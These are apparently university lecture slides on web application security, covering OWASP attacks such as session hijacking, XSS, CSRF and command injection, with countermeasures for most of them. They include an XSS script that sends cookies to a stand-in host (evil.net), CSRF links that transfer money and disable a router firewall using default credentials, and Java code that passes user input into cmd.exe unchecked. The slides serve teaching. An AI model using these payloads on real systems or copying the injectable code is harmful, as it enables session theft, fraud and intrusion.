web application security attacks on the web
play

Web Application Security Attacks on the Web Attacker Web User - PowerPoint PPT Presentation

IN3210 Network Security Web Application Security Attacks on the Web Attacker Web User Application Web Database Web Server Application 2 The OWASP Foundation The Open Web Application Security Project (OWASP) is a 501(c)(3)


  1. IN3210 – Network Security Web Application Security

  2. Attacks on the Web Attacker Web User Application Web Database Web Server Application 2

  3. The OWASP Foundation ⚫ “The Open Web Application Security Project (OWASP) is a 501(c)(3) worldwide not-for-profit charitable organization focused on improving the security of software. Our mission is to make software security visible, so that individuals and organizations are able to make informed decisions.” ⚫ Many well known projects, e.g.: − OWASP Zed Attack Proxy (ZAP) − OWASP Juice Shop − OWASP ModSecurity Core Rule Set (CRS) 3

  4. OWASP Top 10 Web Attacks 4

  5. OWASP Top 10 Web Attacks 5

  6. Recapitulation: Cookies ⚫ HTTP is stateless ⚫ A lot of scenarios require a session (Web Shop, Online Banking) ⚫ For that purpose Cookies were introduced (Netscape, 1994) ⚫ Cookies are a set of name/value pair carrying arbitrary values ⚫ Typical: random value identifying a session → Server associates cookie value with session 6

  7. Recapitulation: Cookies GET /res1 HTTP/1.0 HTTP/1.0 200 OK Set-Cookie: id=xyz123 GET /res2 HTTP/1.0 Cookie: id=xyz123 HTTP/1.0 200 OK GET /res3 HTTP/1.0 Cookie: id=xyz123 . . . 7

  8. Cookie Poisoning GET /toCart?article=Computer&amount=1 HTTP/1.0 200 OK Set-Cookie: article=Computer; amount=1; price=500 GET /buy Set-Cookie: article=Computer; amount=1; price=10 ⚫ Nowadays: Cookies contain (typically) just a session identifier → Cookie Poisoning attack not possible 8

  9. Session Stealing Username: Bob Password: s3cr3! cookie123 Bob = cookie123 cookie123 „Welcome Bob“ ⚫ Cookie Stealing: − Network eavesdropping (e.g. inside a WIFI of via ARP Spoofing) − Redirecting (e.g. DNS Poisoning) − Cross- site scripting (see later…) 9

  10. DNS Cache Poisoning (simplified) Client (attacker) www.facebook.com ? www.facebook.com : IP Address for 6.6.6.6 DNS server for facebook.com IP Address for www.facebook.com ? www.facebook.com : 1.2.3.4 (too late) 10 DNS server (victim)

  11. Session Hijacking ⚫ Sessions − Session identifiers stored on server − Associated with respective users − Exchanged via URLs, hidden form fields, or cookies ⚫ Session IDs are an attractive target for attackers − By obtaining a valid Session ID, a user's identity is effectively hijacked 11

  12. Session Hijacking: Attack Classes and Countermeasures ⚫ Interception − Encrypted communication (such as TLS) ⚫ Prediction − Cryptographically strong pseudo-random number generators − Carefully chosen seed that don't leak from the server ⚫ Brute-force guessing − Choose effective bit-length large enough with respect to the number of simultaneous sessions 12

  13. Session Fixiation Attack ③ http://www.bank.com /login.jsp?sessionid=4711 bank.com 13

  14. Session Fixiation Attack ⚫ General underlying attack idea − The attacker fixes the user's session ID before the user even logs in − In other words: the user's session ID has been fixed in advanced instead of having been generated randomly at login time − This eliminates the need to obtain a user's session ID afterwards ⚫ Session ID in an URL argument − The attacker needs to trick the user to log-in into the target web site through a provided hyperlink, such as: http://www.bank.com/login.jsp?sessionid=4711 ⚫ Session ID in cookie or hidden field: − slightly more complicated but also possible ⚫ Countermeasure: − Generate new session ID after successful login 14

  15. OWASP Top 10 Web Attacks 15

  16. Cross Site Scripting (XSS) ⚫ Required vulnerability: − Web site accepts user input (e.g. search request) − user input is not properly verified ⚫ Attacker: − injects malicious Code (e.g. JavaScript) as input to the Web app ⚫ Victim: − uses (trusted) Web app − gets the malicious code from the Web app − executes the malicious code 16

  17. Reflected XSS – Principle Web app delivers malicious code goodshop.com Link to goodshop.com incl. malicious code User calls trusted Web app with malicious code as parameter 17

  18. Reflected XSS – Example ⚫ Web App accepts search requests: http://www.example.com/search?query=LOLCats ⚫ … and displays search results: <p>You have searched for: LOLCats</p> <p>Your search results: ... ⚫ Attacker sends following link to victim http://www.example.com/search?query=<script>alert("XSS");</script> ⚫ Victim visits link and gets this document from Web App: <p>You have searched for: <script>alert("XSS");</script></p> <p>Your search results: ... ⚫ Victim‘s browser executes script 18

  19. Persistent XSS – Principle Web app delivers malicious code goodshop.com User calls trusted Web app Attacker stores information incl. malicious code into Web app 19

  20. Persistent XSS – Example ⚫ Web App allows user to store guest book entries ⚫ Attacker stores an entry: This is a nice guestbook. <script>alert("XSS");</script> ⚫ Victim visits the guestbook and gets the entry including the JavaScript ⚫ Victim‘s browser executes script 20

  21. XSS – What can the malicious code do? ⚫ Sending cookies to the attacker: <script> document.location= "http://evil.net/collect?cookie="+document.cookie </script> ⚫ Embedding HTML code into the “good” Web site: − forged login form − advertisement − misinformation 21

  22. XSS – Countermeasures ⚫ Input validation ⚫ Removing „< script >“ tags? ⚫ Not enough – script can be embedded into other HTML tags: <img src="javascript:alert('XSS');"> ⚫ Better: escaping of special characters: &lt;img src=&quot;javascript:alert('XSS');&quot;&gt; ⚫ This way the input is interpreted as text and not as HTML element ⚫ Disadvantage: no HTML code in user input possible 22

  23. XSS - Example 23

  24. OWASP Top 10 Web Attacks 24

  25. Cross-Site Request Forgery http://goodshop.com/shop http://goodshop.com/shop 0 Add to cart http://goodshop.com/cart?product=102 http://goodshop.com/shop Total: 1 1000 $ Check out 25

  26. Cross-Site Request Forgery http://evil.net/ Click here http://goodshop.com/cart?product=102 http://goodshop.com/shop Total: 1 1000 $ Check out 26

  27. Cross-Site Request Forgery http://evil.net/ Click here http://goodshop.com/cart?product=102&count=100 http://goodshop.com/shop Total: 100 100.000 $ Check out 27

  28. Cross Site Request Forgery (CSRF) ⚫ (Mis )uses the victim’s identity for performing an action, which the attacker could not perform himself ⚫ The attacker tricks the victim into clicking an link (e.g. via email or on a Web site) ⚫ Clicking the linking immediately executes an action on the server (also called One Click Attack ) 28

  29. CSRF – Example 1 ⚫ The victim logs into his online banking (www.bank.com) and does not log out ⚫ The victim clicks on the following link retrieved from the attacker (assume 12345 is the attackers account number): http://www.bank.com/transfer?amount=1000&target=12345 ⚫ As the victim is still logged into the bank Web site, the money transfer is directly executed by the bank server ⚫ Here: Identity = Active Session 29

  30. CSRF – Example 2 ⚫ Router (home or enterprise) can only be configured from the internal network ⚫ The victiom receives this link from the attacker: http://192.168.0.1/admin?firewall=off ⚫ This will disable the firewall (if no admin password is required), which is good starting point for further attacks ⚫ In case a password is required, the attacker can try common or default passwords: http://192.168.0.1/admin?user=admin&passwd=admin&firewall=off ⚫ Here: Identity = location inside the network 30

  31. CSRF ⚫ Countermeasures: − Adding additional token as hidden field to forms <form action="/transfer.do" method="post"> <input type="hidden" name="CSRFToken “ value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwY...E1ZDZMGYwMGEwOA=="> ... </form> − Requests from attacker do not include this token − Nowadays included in many frameworks ⚫ CRSF not widespread anymore (< 5 % of all Web applications) ⚫ Removed from current OWASP Top 10 31

  32. OWASP Top 10 Web Attacks 32

  33. Command Injection ⚫ CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') ⚫ Command injection vulnerabilities typically occur when: 1. Data enters the application from an untrusted source. Source: http://cwe.mitre.org/data/definitions/77.html 2. The data is part of a string that is executed as a command by the application. 3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have. 33

  34. Command Injection – Example ⚫ Web-based backup − Batch-file wrapper ( rmanDB.bat ) around the rman utility − Script rmanDB.bat accepts a single command line parameter specifying the type of backup to perform − Run a cleanup.bat script to delete some temporary files − Application runs the backup as a privileged user, since access to the database is restricted ... String btype = request.getParameter("backuptype"); String cmd = new String("cmd.exe /K \" c:\\util\\rmanDB.bat " +btype+ "&& c:\\util\\cleanup.bat\"") System.Runtime.getRuntime().exec(cmd); ... 34

Recommend


More recommend